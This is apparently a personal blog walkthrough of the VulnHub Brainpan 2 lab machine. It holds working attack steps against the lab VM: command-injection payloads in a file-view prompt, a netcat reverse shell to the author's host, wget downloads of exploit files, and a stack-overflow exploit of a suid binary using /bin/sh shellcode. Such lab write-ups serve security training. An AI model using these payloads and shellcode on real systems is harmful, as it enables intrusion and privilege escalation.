Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Finally back to VulnHub, and next up is my Brainpan 2 walkthrough.
For those who have never tried the series, I recommend starting with Brainpan 1 by superkojiman.
That said, you can also find Brainpan 2 as well as 3 on VulnHub.
If you would like, you can also read my Brainpan 1 Walkthrough before getting started here.
One last note: I apologize for the IPs switching between some commands. I started this over a year ago, but ended up getting distracted by other posts and research. As long as you’re not copying and pasting my exact commands, you will be fine.
To start, I like to use netdiscover to find what IP my new virtual machine got. Again, note that this IP might change a few times in this post, but I promise that it is the same target.
root@kali:~# netdiscover -i eth1 -r 192.168.56.0/24 Currently scanning: Finished! | Screen View: Unique Hosts 3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 192.168.56.100 08:00:27:02:31:f2 1 60 PCS Systemtechnik GmbH 192.168.56.101 08:00:27:65:31:e7 1 60 PCS Systemtechnik GmbH 192.168.56.102 0a:00:27:00:00:10 1 60 Unknown vendor
With the IP in hand, it was time to run an nmap scan.
root@kali:~# nmap -sT -sV -sV -O -n -Pn -p- 192.168.56.101 Starting Nmap 7.12 ( https://nmap.org ) at 2017-02-11 11:49 EST Nmap scan report for 192.168.56.101 Host is up (0.00031s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 9999/tcp open abyss? 10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3) 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port9999-TCP:V=7.12%I=7%D=2/15%Time=58A486B1%P=i586-pc-linux-gnu%r(NULL SF:,296,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20\x SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20 SF:\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_\|\x SF:20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x2 SF:0\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\x20 SF:\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20 SF:\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20 SF:\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_\|\x SF:20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20 SF:_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20 SF:_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20\x20 SF:\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20_\| SF:\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20\x20 SF:_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x20\x SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20 SF:\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20 SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20 SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2 SF:0\x20_\|\n\n\[______________________\x20WELCOME\x20TO\x20BRAINPAN\x202\ SF:.0________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20 SF:\x20LOGIN\x20AS\x20GUEST\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2 SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n SF:\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20\x20\x20\x20\x20\x20\x20>>\x20"); MAC Address: 08:00:27:65:31:E7 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 2.6.X|3.X OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 OS details: Linux 2.6.32 - 3.10 Network Distance: 1 hop OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 183.63 seconds
I started with port 10000, but didn’t seem to find anything of note there.
Port 9999 was a different story, as it looked like a similar binary to Brainpan 1.0. That said, when I entered in the old password, it responded with a rickroll.
root@kali:~# telnet 172.16.119.140 9999 Trying 172.16.119.140... Connected to 172.16.119.140. Escape character is '^]'. _| _| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _| _| _|_| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _| _| _| [______________________ WELCOME TO BRAINPAN 2.0________________________] LOGIN AS GUEST >> password ACCESS DENIED >> shitstorm Never gonna give you up Never gonna let you down Never gonna run around and desert youConnection closed by foreign host.
First, I started to look at the various commands supported by the server. It unfortunately looked like the GUEST account didn’t have any useful permissions though. That said, the DEBUG account sounded like it could be fairly interesting.
root@kali:~# telnet 172.16.119.140 9999 Trying 172.16.119.140... Connected to 172.16.119.140. Escape character is '^]'. _| _| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _| _| _|_| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _| _| _| [______________________ WELCOME TO BRAINPAN 2.0________________________] LOGIN AS GUEST >> GUEST ACCESS GRANTED * * * * THIS APPLICATION IS WORK IN PROGRESS. GUEST ACCESS IS RESTRICTED. TYPE "TELL ME MORE" FOR A LIST OF COMMANDS. * * * * >> TELL ME MORE FILES HELP VIEW CREATE USERS MSG SYSTEM BYE >> FILES total 36 -rwxr-xr-x 1 root root 18424 Nov 4 2013 brainpan.exe -rw-r--r-- 1 root root 1109 Nov 5 2013 brainpan.txt -rw-r--r-- 1 root root 683 Nov 4 2013 notes.txt -rw-r--r-- 1 anansi anansi 12 Nov 5 2013 test-1 -rwxrwxrwx 1 anansi anansi 19 Nov 5 2013 test-2 >> USERS NOT YET SUPPORTED >> HELP BRAINPAN(7) 2.0 BRAINPAN(7) NAME brainpan - Server side collaboration system. DESCRIPTION The brainpan server is a collaboration system that allows users to share and update files on the fly. While the server is work in progress, several features are functional. GUEST users have limited access to the available commands. COMMANDS HELP Display the the brainpan manual. TELL ME MORE Show a list of available commands. FILES Show files currently stored on the server. VIEW View a file stored on the server. CREATE Create a file on the server. USERS Display a list of users currently logged in. MSG Send a message to a user. SYSTEM Report system information. BYE Log out of the server. AUTHENTICATION There is currently no proper authentication mechanism in place. At this time the software is in it's alpha stage. The only avaiable account is GUEST. The DEBUG account will alter the output of some commands - use‐ ful for developers. AUTHOR superkojiman - http://www.techorganic.com version http://www.techorganic.com BRAINPAN(7) >> MSG NOT YET SUPPORTED >> SYSTEM NOT AVAILABLE TO GUEST ACCOUNT >> DEBUG WHAT? >> BYE Connection closed by foreign host.
While I wasn’t able to login as DEBUG from GUEST, logging in directly as DEBUG worked.
root@kali:~# telnet 172.16.119.140 9999 Trying 172.16.119.140... Connected to 172.16.119.140. Escape character is '^]'. _| _| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _| _| _|_| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _| _| _| [______________________ WELCOME TO BRAINPAN 2.0________________________] LOGIN AS GUEST >> DEBUG ACCESS GRANTED * * * * THIS APPLICATION IS WORK IN PROGRESS. GUEST ACCESS IS RESTRICTED. TYPE "TELL ME MORE" FOR A LIST OF COMMANDS. * * * * >> TELL ME MORE FILES HELP VIEW CREATE USERS MSG SYSTEM BYE >> SYSTEM LANG=en_US.UTF-8 HOME=/home/anansi COLORTERM=(null) PWD=/opt/brainpan PATH=/bin:.:/usr/bin:/sbin SHLVL=1
The VIEW command seemed very interesting, especially considering the possible vulnerabilities mentioned. Unfortunately, these vulnerabilities seemed to have been “fixed” in this version. That said, I was even able to read /etc/passwd with the VIEW command.
>> FILES total 36 -rwxr-xr-x 1 root root 18424 Nov 4 2013 brainpan.exe -rw-r--r-- 1 root root 1109 Nov 5 2013 brainpan.txt -rw-r--r-- 1 root root 683 Nov 4 2013 notes.txt -rw-r--r-- 1 anansi anansi 12 Nov 5 2013 test-1 -rwxrwxrwx 1 anansi anansi 19 Nov 5 2013 test-2 >> VIEW ENTER FILE TO DOWNLOAD: notes.txt; TODO LIST --------- reynard: - Completed manpage. Read with groff or man. - Renamed to brainpan.txt instead of brainpan.7. - Fixed call to read manpage: popen("man ./brainpan.txt", "r"); puck: Easiest way to display file contents is to just use popen(). Eg: popen("/bin/ls", "r"); popen("/bin/man ./brainpan.7", "r"); popen("/usr/bin/top", "r"); etc... anansi: - Fixed a reported buffer overflow in login in version 1.0. - Discovered buffer overflow in the command prompt, fixed as of version 2.0 puck: look into loading a configuration file instead of hardcoding settings in the server, version 1.8 anansi: dropped configuration file - leave it hardcoded, version 1.9 >> VIEW ENTER FILE TO DOWNLOAD: /etc/passwd; root:x:104:106:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh root :x:0:0:root:/var/root:/bin/bash list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh Debian-exim:x:101:103::/var/spool/exim4:/bin/false statd:x:102:65534::/var/lib/nfs:/bin/false sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin anansi:x:1000:1000:anansi,,,:/home/anansi:/bin/bash puck:x:1001:1001:puck,,,:/home/puck:/bin/bash reynard:x:1002:1002:reynard,,,:/home/reynard:/bin/bash
Hoping that there was no input sanitization on the VIEW command, I attempted some command injection. The ‘id’ command worked both with and without a file to view, so I knew I was in business!
>> VIEW ENTER FILE TO DOWNLOAD: notes.txt; echo "TESTTESTTEST" TODO LIST --------- reynard: - Completed manpage. Read with groff or man. - Renamed to brainpan.txt instead of brainpan.7. - Fixed call to read manpage: popen("man ./brainpan.txt", "r"); puck: Easiest way to display file contents is to just use popen(). Eg: popen("/bin/ls", "r"); popen("/bin/man ./brainpan.7", "r"); popen("/usr/bin/top", "r"); etc... anansi: - Fixed a reported buffer overflow in login in version 1.0. - Discovered buffer overflow in the command prompt, fixed as of version 2.0 puck: look into loading a configuration file instead of hardcoding settings in the server, version 1.8 anansi: dropped configuration file - leave it hardcoded, version 1.9 TESTTESTTEST >> VIEW ENTER FILE TO DOWNLOAD: notes.txt; id; TODO LIST --------- reynard: - Completed manpage. Read with groff or man. - Renamed to brainpan.txt instead of brainpan.7. - Fixed call to read manpage: popen("man ./brainpan.txt", "r"); puck: Easiest way to display file contents is to just use popen(). Eg: popen("/bin/ls", "r"); popen("/bin/man ./brainpan.7", "r"); popen("/usr/bin/top", "r"); etc... anansi: - Fixed a reported buffer overflow in login in version 1.0. - Discovered buffer overflow in the command prompt, fixed as of version 2.0 puck: look into loading a configuration file instead of hardcoding settings in the server, version 1.8 anansi: dropped configuration file - leave it hardcoded, version 1.9 uid=1000(anansi) gid=1000(anansi) groups=1000(anansi),50(staff) >> VIEW ENTER FILE TO DOWNLOAD: ; id; uid=1000(anansi) gid=1000(anansi) groups=1000(anansi),50(staff)
With command injection working, it was time to attempt a reverse shell.
The box had a netcat version with the -e flag, so at least this part was fairly easy.
>> VIEW ENTER FILE TO DOWNLOAD: ; nc -e /bin/sh 192.168.56.102 443
I caught the reverse shell on my attacking box, and noticed that I was the user ‘anansi’.
root@kali:~# nc -lvp 443 listening on [any] 443 ... 192.168.56.101: inverse host lookup failed: Unknown host connect to [192.168.56.102] from (UNKNOWN) [192.168.56.101] 51876 id uid=1000(anansi) gid=1000(anansi) groups=1000(anansi),50(staff)
Poking around in the home directory, I quickly found some interesting files in the reynard user’s directory. There appears to be a suid root application (msg_root) as well as a readme file for it.
ls -al total 24 drwx------ 2 anansi anansi 4096 Aug 26 12:17 . drwxr-xr-x 5 root root 4096 Nov 4 2013 .. -rw------- 1 anansi anansi 0 Nov 5 2013 .bash_history -rw-r--r-- 1 anansi anansi 220 Nov 4 2013 .bash_logout -rw-r--r-- 1 anansi anansi 3392 Nov 4 2013 .bashrc -rw-r--r-- 1 anansi anansi 675 Nov 4 2013 .profile -rwxr-xr-x 1 anansi anansi 114 Nov 4 2013 startbrainpan.sh cd .. ls anansi puck reynard ls -al total 20 drwxr-xr-x 5 root root 4096 Nov 4 2013 . drwxr-xr-x 22 root root 4096 Nov 5 2013 .. drwx------ 2 anansi anansi 4096 Aug 26 12:17 anansi drwx------ 4 puck puck 4096 Nov 5 2013 puck drwxr-xr-x 3 reynard reynard 4096 Nov 7 2013 reynard cd puck ls -al total 20 drwxr-xr-x 5 root root 4096 Nov 4 2013 . drwxr-xr-x 22 root root 4096 Nov 5 2013 .. drwx------ 2 anansi anansi 4096 Aug 26 12:17 anansi drwx------ 4 puck puck 4096 Nov 5 2013 puck drwxr-xr-x 3 reynard reynard 4096 Nov 7 2013 reynard cd puck ls -al total 20 drwxr-xr-x 5 root root 4096 Nov 4 2013 . drwxr-xr-x 22 root root 4096 Nov 5 2013 .. drwx------ 2 anansi anansi 4096 Aug 26 12:17 anansi drwx------ 4 puck puck 4096 Nov 5 2013 puck drwxr-xr-x 3 reynard reynard 4096 Nov 7 2013 reynard cd reynard ls -al total 44 drwxr-xr-x 3 reynard reynard 4096 Nov 7 2013 . drwxr-xr-x 5 root root 4096 Nov 4 2013 .. -rw------- 1 reynard reynard 0 Nov 7 2013 .bash_history -rw-r--r-- 1 reynard reynard 220 Nov 4 2013 .bash_logout -rw-r--r-- 1 reynard reynard 3392 Nov 4 2013 .bashrc -rwsr-xr-x 1 root root 8999 Nov 6 2013 msg_root -rw-r--r-- 1 reynard reynard 675 Nov 4 2013 .profile -rw-r--r-- 1 reynard reynard 154 Nov 5 2013 readme.txt -rwxr-xr-x 1 reynard reynard 137 Nov 4 2013 startweb.sh drwxr-xr-x 3 reynard reynard 4096 Nov 4 2013 web
cat readme.txt msg_root is a quick way to send a message to the root user. Messages are written to /tmp/msg.txt usage: msg_root "username" "this message is for root" msg_root "test" "test" Your message is test
As msg_root looked like my best bet for privilege escalation, I started there. Opening up the application in gdb and sending a lot of “A”s and “B”s showed an EIP overwrite in the “username” parameter.
gdb -q msg_root Reading symbols from /home/reynard/msg_root...done. (gdb) r `python -c 'print "A"*10000'` `python -c 'print "B"*10000'` Starting program: /home/reynard/msg_root `python -c 'print "A"*10000'` `python -c 'print "B"*10000'` Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) i r eax 0x41414141 1094795585 ecx 0x0 0 edx 0xbfffff31 -1073742031 ebx 0xb7fd6ff4 -1208127500 esp 0xbfffaf14 0xbfffaf14 ebp 0xbfffaf38 0xbfffaf38 esi 0x0 0 edi 0x0 0 eip 0x41414141 0x41414141 eflags 0x10282 [ SF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
I decided to get myself a better tty, as well as transfer over a shell for my exploit code.
id
uid=1000(anansi) gid=1000(anansi) groups=1000(anansi),50(staff)
python -c 'import pty; pty.spawn("/bin/bash");'
anansi@brainpan2:/opt/brainpan$ wget http://192.168.56.102:8000/exploit.py
wget http://192.168.56.102:8000/exploit.py
--2017-02-12 08:13:44-- http://192.168.56.102:8000/exploit.py
Connecting to 192.168.56.102:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10025 (9.8K) [text/plain]
Saving to: `exploit.py'
100%[======================================>] 10,025 --.-K/s in 0s
2017-02-12 08:13:44 (349 MB/s) - `exploit.py' saved [10025/10025]
anansi@brainpan2:/opt/brainpan$ mv exploit.py ~
mv exploit.py ~
anansi@brainpan2:/opt/brainpan$ cd ~
cd ~
anansi@brainpan2:~$ ls
ls
exploit.py startbrainpan.sh
With a cyclical pattern in my exploit.py file, it was time to find the offset of the EIP overwrite.
anansi@brainpan2:/home/reynard$ gdb -q msg_root Reading symbols from /home/reynard/msg_root...done. (gdb) r `python /home/anansi/exploit.py` r `python /home/anansi/exploit.py` Starting program: /home/reynard/msg_root `python /home/anansi/exploit.py` Program received signal SIGSEGV, Segmentation fault. 0x35614134 in ?? ()
Running the new EIP through pattern_offset gave me an offset of only 14 bytes.
root@kali:/usr/share/metasploit-framework/tools# ruby pattern_offset.rb 0x35614134 10000 [*] Exact match at offset 14
Next, I updated the exploit.py code to verify that I had control of EIP.
user = "" user += "A"*14 user += "BBBB" user += "C"*9982 msg = "D"*10000 print user print msg
Running the new script through msg_root showed an EIP of 0x42424242! Other than that, it looked like I had some control over the middle of the stack with my “C”s.
anansi@brainpan2:/home/reynard$ gdb -q msg_root Reading symbols from /home/reynard/msg_root...done. (gdb) r `python /home/anansi/exploit.py` Starting program: /home/reynard/msg_root `python /home/anansi/exploit.py` Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) i r i r eax 0x42424242 1111638594 ecx 0x61 97 edx 0xbfffff2c -1073742036 ebx 0xb7fd6ff4 -1208127500 esp 0xbffff994 0xbffff994 ebp 0xbffff9b8 0xbffff9b8 esi 0x0 0 edi 0x0 0 eip 0x42424242 0x42424242 eflags 0x10286 [ PF SF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/200x $esp x/200x $esp 0xbffff994: 0x0804872e 0xbffff9a6 0x0804a008 0x00000001 0xbffff9a4: 0x4141fa74 0x41414141 0x41414141 0x0804a008 0xbffff9b4: 0x42424242 0xbffff9c8 0x0804877b 0xbffffb94 0xbffff9c4: 0xbfffff2b 0xbffffa48 0xb7e8ee46 0x00000003 0xbffff9d4: 0xbffffa74 0xbffffa84 0xb7fe0860 0xb7ff6821 0xbffff9e4: 0xffffffff 0xb7ffeff4 0x08048351 0x00000001 0xbffff9f4: 0xbffffa30 0xb7fefc16 0xb7fffac0 0xb7fe0b58 0xbffffa04: 0xb7fd6ff4 0x00000000 0x00000000 0xbffffa48 0xbffffa14: 0xc0a5b476 0xee8a0266 0x00000000 0x00000000 0xbffffa24: 0x00000000 0x00000003 0x08048550 0x00000000 0xbffffa34: 0xb7ff59c0 0xb7e8ed6b 0xb7ffeff4 0x00000003 0xbffffa44: 0x08048550 0x00000000 0x08048571 0x0804873b 0xbffffa54: 0x00000003 0xbffffa74 0x080487a0 0x08048790 0xbffffa64: 0xb7ff0590 0xbffffa6c 0xb7fff908 0x00000003 0xbffffa74: 0xbffffb7d 0xbffffb94 0xbfffff2b 0x00000000 0xbffffa84: 0xbfffff2d 0xbfffff35 0xbfffff47 0xbfffff5c 0xbffffa94: 0xbfffff6b 0xbfffff7a 0xbfffff85 0xbfffffa0 0xbffffaa4: 0xbfffffb1 0xbfffffbc 0xbfffffca 0xbfffffdc 0xbffffab4: 0x00000000 0x00000020 0xb7fe1414 0x00000021 0xbffffac4: 0xb7fe1000 0x00000010 0x078bfbff 0x00000006 0xbffffad4: 0x00001000 0x00000011 0x00000064 0x00000003 0xbffffae4: 0x08048034 0x00000004 0x00000020 0x00000005 0xbffffaf4: 0x00000008 0x00000007 0xb7fe2000 0x00000008 0xbffffb04: 0x00000000 0x00000009 0x08048550 0x0000000b 0xbffffb14: 0x000003e8 0x0000000c 0x000003e8 0x0000000d 0xbffffb24: 0x000003e8 0x0000000e 0x000003e8 0x00000017 0xbffffb34: 0x00000000 0x00000019 0xbffffb5b 0x0000001f 0xbffffb44: 0xbfffffe5 0x0000000f 0xbffffb6b 0x00000000 0xbffffb54: 0x00000000 0xb2000000 0x0aae92ae 0xfb849fab 0xbffffb64: 0x5ee64792 0x699ad864 0x00363836 0x00000000 0xbffffb74: 0x00000000 0x00000000 0x6f682f00 0x722f656d 0xbffffb84: 0x616e7965 0x6d2f6472 0x725f6773 0x00746f6f 0xbffffb94: 0x41414141 0x41414141 0x41414141 0x42424141 0xbffffba4: 0x43434242 0x43434343 0x43434343 0x43434343 0xbffffbb4: 0x43434343 0x43434343 0x43434343 0x43434343 0xbffffbc4: 0x43434343 0x43434343 0x43434343 0x43434343 0xbffffbd4: 0x43434343 0x43434343 0x43434343 0x43434343 0xbffffbe4: 0x43434343 0x43434343 0x43434343 0x43434343 0xbffffbf4: 0x43434343 0x43434343 0x43434343 0x43434343 0xbffffc04: 0x43434343 0x43434343 0x43434343 0x43434343 0xbffffc14: 0x43434343 0x43434343 0x43434343 0x43434343 0xbffffc24: 0x43434343 0x43434343 0x43434343 0x43434343 0xbffffc34: 0x43434343 0x43434343 0x43434343 0x43434343 0xbffffc44: 0x43434343 0x43434343 0x43434343 0x43434343 0xbffffc54: 0x43434343 0x43434343 0x43434343 0x43434343 0xbffffc64: 0x43434343 0x43434343 0x43434343 0x43434343 0xbffffc74: 0x43434343 0x43434343 0x43434343 0x43434343 0xbffffc84: 0x43434343 0x43434343 0x43434343 0x43434343 0xbffffc94: 0x43434343 0x43434343 0x43434343 0x43434343 0xbffffca4: 0x43434343 0x43434343 0x43434343 0x43434343
While it seemed like I was definitely cruising though the exploit for this application, this is where I hit some headaches.
To start, I tried to put my shellcode directly on the stack and jump to it. Unfortunately, I was never able to easily figure out where it would be, and didn’t want to hard-code some magic address.
Next, I tried to put my shellcode in a different register, but was never able to get a proper jump or register working.
Finally, I attempted to use an environment variable. I had only done this a few times in the past, so I needed to brush up on how it worked. While this should have worked just fine, I was having no end of trouble with my actual shellcode. I’m not sure if I had bad characters (never checked), bad shellcode, or the application just didn’t like it.
I only plan on showing the path that finally worked for me, but don’t get frustrated if you get hung up here.
First, I verified that ASLR was off on the system.
anansi@brainpan2:/home/reynard$ cat /proc/sys/kernel/randomize_va_space cat /proc/sys/kernel/randomize_va_space 0
For this attack, I decided to load my shellcode directly into an environment variable on the system. To find the address, I used the getenvaddr.c program from Hacking, the Art of Exploitation.
#include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char *ptr; if(argc < 3) { printf("Usage: %s <environment variable> < target program name>\n", argv[0]); exit(0); } ptr = getenv(argv[1]); /* get env var location */ ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */ printf("%s will be at %p\n", argv[1], ptr); }
As there was no gcc on the target box, I statically compiled it on my attacking machine.
root@kali:~/brainpan2# gcc -m32 -static -o findaddr findaddr.c root@kali:~/brainpan2# ls exploit.py findaddr findaddr.c
First, I copied over my new findaddr binary to the target system and made it executable.
anansi@brainpan2:/home/reynard$ wget http://192.168.56.103:8000/findaddr -O /tmp/findaddr --2017-07-07 09:11:43-- http://192.168.56.103:8000/findaddr Connecting to 192.168.56.103:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 728004 (711K) [application/octet-stream] Saving to: `/tmp/findaddr' 100%[======================================>] 728,004 --.-K/s in 0.01s 2017-07-07 09:11:43 (66.5 MB/s) - `/tmp/findaddr' saved [728004/728004] anansi@brainpan2:/home/reynard$ chmod +x /tmp/findaddr chmod +x /tmp/findaddr
Next, I found some WORKING shellcode, put it in an environment variable, found the address of that variable, and ran it all through msg_root. It worked, and I had an euid of root!
anansi@brainpan2:/home/reynard$ export EGG=`python -c 'print "\x90" * 16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"'` anansi@brainpan2:/home/reynard$ /tmp/findaddr EGG ./msg_root /tmp/findaddr EGG ./msg_root EGG will be at 0xbfffff1e anansi@brainpan2:/home/reynard$ ./msg_root `python -c 'print "A"*14 + "\x45\xff\xff\xbf"'` gotcha $ id id uid=1000(anansi) gid=1000(anansi) euid=104(root) groups=106(root),50(staff),1000(anansi)
When I attempted to view the flag.txt file, I was unable to. The whatif.txt file mentioned that I wasn’t root yet as well.
$ cd /root cd /root $ ls -al ls -al total 28 drwx------ 3 root root 4096 Nov 5 2013 . drwxr-xr-x 22 root root 4096 Nov 5 2013 .. drwx------ 2 root root 4096 Nov 4 2013 .aptitude -rw------- 1 root root 0 Nov 5 2013 .bash_history -rw-r--r-- 1 root root 589 Nov 5 2013 .bashrc -rw-r--r-- 1 root root 159 Nov 5 2013 .profile -rw------- 1 root root 461 Nov 5 2013 flag.txt -rw------- 1 root root 245 Nov 5 2013 whatif.txt $ cat flag.txt cat flag.txt cat: flag.txt: Permission denied $ cat whatif.txt cat whatif.txt WHAT IF I TOLD YOU ___ / \ | ______\ (, \_/ \_/ | ._. | \ --- / /`-.__.' .---'`-.___|\___ / `. YOU ARE NOT ROOT?
Checking the /etc/passwd file showed me that there were actually 2 root users, but the one with a space was actually uid 0.
$ cat /etc/passwd
root:x:104:106:root:/root:/bin/bash
root :x:0:0:root:/var/root:/bin/bash
With my not so root user, I decided to see if there were any more suid binaries that I could find. The one in /opt/old seemed interesting, as it looked like an older version of the brainpan binary.
$ find / -perm +6000 -type f -exec ls -ld {} \; 2>/dev/null
find / -perm +6000 -type f -exec ls -ld {} \; 2> /dev/null
-rwxr-sr-x 1 root shadow 30332 May 4 2012 /sbin/unix_chkpwd
-rwsr-xr-x 1 puck puck 17734 Nov 4 2013 /opt/old/brainpan-1.8/brainpan-1.8.exe
-rwsr-xr-x 1 root root 937532 Jan 2 2013 /usr/sbin/exim4
-rwsr-xr-x 1 root root 44564 May 25 2012 /usr/bin/chfn
-rwxr-sr-x 1 root tty 18020 Dec 9 2012 /usr/bin/wall
-rwsr-xr-x 1 root root 45396 May 25 2012 /usr/bin/passwd
-rwsr-xr-x 1 root root 35892 May 25 2012 /usr/bin/chsh
-rwxr-sr-x 1 root ssh 128396 Feb 8 2013 /usr/bin/ssh-agent
-rwxr-sr-x 1 root crontab 34760 Jul 3 2012 /usr/bin/crontab
-rwsr-sr-x 1 root mail 83912 Jun 6 2012 /usr/bin/procmail
-rwxr-sr-x 1 root mail 17908 Jun 6 2012 /usr/bin/lockfile
-rwsr-xr-x 1 root root 66196 May 25 2012 /usr/bin/gpasswd
-rwsr-sr-x 1 daemon daemon 46556 Jun 9 2012 /usr/bin/at
-rwxr-sr-x 1 root tty 9708 Jun 11 2012 /usr/bin/bsd-write
-rwxr-sr-x 1 root mail 9768 Oct 2 2013 /usr/bin/mutt_dotlock
-rwxr-sr-x 1 root shadow 18168 May 25 2012 /usr/bin/expiry
-rwsr-xr-x 1 root root 30880 May 25 2012 /usr/bin/newgrp
-rwxr-sr-x 1 root mlocate 30492 Sep 25 2010 /usr/bin/mlocate
-rwxr-sr-x 1 root mail 13960 Dec 11 2012 /usr/bin/dotlockfile
-rwxr-sr-x 1 root shadow 49364 May 25 2012 /usr/bin/chage
-rwsr-xr-x 1 root root 9660 Dec 30 2012 /usr/lib/pt_chown
-rwsr-xr-x 1 root root 248036 Feb 8 2013 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 5412 Dec 23 2012 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 67704 Dec 9 2012 /bin/umount
-rwsr-xr-x 1 root root 31104 Apr 12 2011 /bin/ping
-rwsr-xr-x 1 root root 88744 Dec 9 2012 /bin/mount
-rwsr-xr-x 1 root root 35252 Apr 12 2011 /bin/ping6
-rwsr-xr-x 1 root root 35200 May 25 2012 /bin/su
-rwsr-xr-x 1 root root 8999 Nov 6 2013 /home/reynard/msg_root
